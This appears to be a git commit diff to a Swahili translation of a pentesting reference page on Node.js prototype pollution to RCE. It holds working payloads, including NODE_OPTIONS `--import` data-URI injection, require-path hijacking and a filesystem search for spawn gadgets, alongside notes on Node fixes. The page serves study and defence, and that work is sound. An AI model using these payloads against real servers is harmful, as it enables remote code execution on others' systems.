Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:16:50 +00:00
parent f106db80bf
commit 195ac7e4ee

View File

@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE** inamaanisha **Prototype Pollution to RCE** (Remote Code Execution).
Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unazalishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unapoanzishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kuongeza uchafu** kwenye **attribute `.env`.**
Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kujaza** **sifa `.env`.**
### **Kuharibu `__proto__`**
> [!WARNING]
> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** inavyofanya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuongeza uchafu chochote**.\
> Kwa mfano, ukifanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** kazi ya kazi kutoka kwa maktaba ya **`child_process`** ya node inavyofanya, wakati kitu kinapoitwa ili **kueka variable mpya ya env** kwa mchakato unahitaji tu **kujaza chochote**.\
> Kwa mfano, ikiwa unafanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
>
> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuongeza uchafu** kwenye **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kujaza** **sifa `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
>
> Ndio maana **`NODE_OPTIONS`** **haipo ndani ya `.env`** katika shambulio linalofuata.
> Ndio maana **`NODE_OPTIONS`** **haina ndani ya `.env`** katika shambulio linalofuata.
```javascript
const { execSync, fork } = require("child_process")
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika [**hiki andiko**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Tofauti kuu ni:
- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi i**ndani ya argv0** ya **`/proc/self/cmdline`**.
- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi **ndani ya argv0** ya **`/proc/self/cmdline`**.
- Kisha, badala ya kuhitaji kupitia **`NODE_OPTIONS`** faili `/proc/self/environ`, inahitaji **`/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require("child_process")
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## DNS Interaction
## Filesystem-less PP2RCE kupitia `--import` (Node ≥ 19)
Kwa kutumia payloads zifuatazo inawezekana kutumia NODE_OPTIONS env var tuliyoijadili hapo awali na kugundua kama ilifanya kazi kwa mwingiliano wa DNS:
> [!NOTE]
> Tangu **Node.js 19** bendera ya CLI `--import` inaweza kupitishwa kupitia `NODE_OPTIONS` kwa njia ile ile `--require` inavyoweza. Kinyume na `--require`, `--import` inaelewa **data-URIs** hivyo mshambuliaji **hapahitaji ufikiaji wa kuandika kwenye mfumo wa faili** kabisa. Hii inafanya kifaa kuwa na uaminifu zaidi katika mazingira yaliyofungwa au yasiyo na kuandika.
>
> Mbinu hii ilirekodiwa kwa mara ya kwanza hadharani na utafiti wa PortSwigger mnamo Mei 2023 na tangu wakati huo imejulikana katika changamoto kadhaa za CTF.
Shambulio hili ni sawa kwa dhana na hila za `--require /proc/self/*` zilizoonyeshwa hapo juu, lakini badala ya kuelekeza kwenye faili tunaingiza mzigo moja kwa moja katika URL ya `data:` iliyokodishwa kwa base64:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Kutitumia mchanganyiko/makloni dhaifu ulioonyeshwa juu ya ukurasa:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Kwa nini `--import` inasaidia
1. **Hakuna mwingiliano wa diski** mzigo unatembea kabisa ndani ya mchakato wa amri na mazingira.
2. **Inafanya kazi na mazingira ya ESM pekee** `--import` ni njia ya kawaida ya kupakia JavaScript mapema katika toleo za kisasa za Node ambazo zina default kwa ECMAScript Modules.
3. **Inapita baadhi ya orodha za ruhusa za `--require`** maktaba chache za kuimarisha zinachuja tu `--require`, zikiacha `--import` bila kuguswa.
> [!WARNING]
> Msaada wa `--import` katika `NODE_OPTIONS` bado upo katika **Node 22.2.0** (Juni 2025). Timu ya msingi ya Node inajadili kuzuia data-URIs katika siku zijazo, lakini hakuna suluhisho linalopatikana wakati wa kuandika.
---
## Mwingiliano wa DNS
Kwa kutumia mzigo ufuatao inawezekana kutumia mazingira ya NODE_OPTIONS tuliyozungumzia hapo awali na kugundua kama ilifanya kazi na mwingiliano wa DNS:
```json
{
"__proto__": {
@ -281,7 +322,7 @@ var proc = fork("./a_file.js")
<details>
<summary><strong><code>spawn</code> unyakuzi</strong></summary>
<summary><strong><code>spawn</code> unyonyaji</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -414,7 +455,7 @@ var proc = execSync("something")
<details>
<summary><strong><code>spawnSync</code> unyakuzi</strong></summary>
<summary><strong><code>spawnSync</code> unyanyasaji</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -461,20 +502,20 @@ var proc = spawnSync("something")
```
</details>
## Kulazimisha Kuanzisha
## Kulazimisha Spawn
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ikiwa msimbo **hauiiti**.
Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ni nini kitatokea ikiwa msimbo **hauiiti**.
### Kudhibiti njia ya faili ya require
Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.\
Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni:
Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itafanya **kuitisha njia ya spawn wakati inapoingizwa.**\
Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Pata **faili zaidi hapa chini**
Script rahisi ifuatayo itatafuta **itoaji** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha itoaji ndani ya kazi):
Script rahisi ifuatayo itatafuta **kuitisha** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha kuitisha ndani ya kazi):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@ -483,7 +524,7 @@ done
```
<details>
<summary>Faili za kuvutia zilizopatikana na skripti ya awali</summary>
<summary>Faili za kuvutia zilizopatikana na script ya awali</summary>
- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@ -500,20 +541,20 @@ done
### Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype
> [!WARNING]
> **Tekniki ya awali inahitaji** kwamba **mtumiaji anadhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati.
> **Teknolojia ya awali inahitaji** kwamba **mtumiaji adhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati.
Hata hivyo, ikiwa msimbo utaendesha hitaji baada ya uchafuzi wa prototype, hata kama **huna udhibiti wa njia** ambayo itakuwa inahitajiwa, **unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**.
Hata hivyo, ikiwa msimbo utaendesha require baada ya uchafuzi wa prototype, hata kama **huhudumu njia** ambayo itakuwa inahitajiwa, unaweza **kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**.
Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
Kwa hivyo, ikiwa require inatekelezwa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
- Tafuta **faili ya `.js` ndani ya mfumo** ambayo wakati **inahitajiwa** itafanya **kitu kwa kutumia `child_process`**
- Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
- Punguza njia ili **kulazimisha upakuaji wa faili ya `.js`** ambayo itafanya kitu na child_process
- **Punguza mazingira/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
- Punguza njia ili **kulazimisha require kupakia faili ya `.js`** ambayo itafanya kitu na child_process
- **Punguza environ/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
#### Hitaji la moja kwa moja
#### Require ya moja kwa moja
Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu kuu** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**.
Ikiwa require iliyofanywa ni **ya moja kwa moja** (`require("bytes")`) na **pakiti haina main** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **require itekeleze faili tofauti**.
{{#tabs}}
{{#tab name="exploit"}}
@ -554,9 +595,9 @@ fork("anything")
{{#endtab}}
{{#endtabs}}
#### Mahitaji ya jamaa - 1
#### Relative require - 1
Ikiwa **njia ya jamaa** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **iweke njia tofauti**:
Ikiwa **njia ya uhusiano** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **i-load njia tofauti**:
{{#tabs}}
{{#tab name="exploit"}}
@ -598,7 +639,7 @@ fork("/path/to/anything")
#### Mahitaji ya jamaa - 2
{{#tabs}}
{{#tab name="kuvamia"}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -636,9 +677,9 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### Mahitaji ya jamaa - 3
#### Relative require - 3
Kama ilivyo kwa ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
Kama ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@ -665,13 +706,17 @@ Hata hivyo, kama mbinu za awali za **`child_process`**, imekuwa **imefanyiwa mar
## Fixes & Unexpected protections
Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika upya**.
Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika tena**.
Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inaepusha uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\
Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo `spawn` na `spawnSync` **exploits** zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!).
Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inazuia uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\
Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo **exploits** za `spawn` na `spawnSync` zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!).
Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **uchafuzi wa prototype** wa **`contextExtensions`** kutoka maktaba ya vm pia **umeweza kufanyiwa marekebisho** kwa kuweka options kuwa **`kEmptyObject`** badala ya **`{}`.**
> [!INFO]
> **Node 20 (Aprili 2023) & Node 22 (Aprili 2025)** ilileta uimarishaji zaidi: wasaidizi kadhaa wa `child_process` sasa nakala `options` zinazotolewa na mtumiaji kwa **`CopyOptions()`** badala ya kuzitumia kwa rejeleo. Hii inazuia uchafuzi wa vitu vilivyotengwa kama `stdio`, lakini **haijalinda dhidi ya hila za `NODE_OPTIONS` / `--import`** zilizoelezwa hapo juu bendera hizo bado zinakubaliwa kupitia mabadiliko ya mazingira.
> Marekebisho kamili yangepaswa kuzuia ni bendera zipi za CLI zinaweza kuhamasishwa kutoka kwa mchakato wa mzazi, ambayo inafuatiliwa katika Node Issue #50559.
### **Other Gadgets**
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@ -682,6 +727,8 @@ Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f7
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}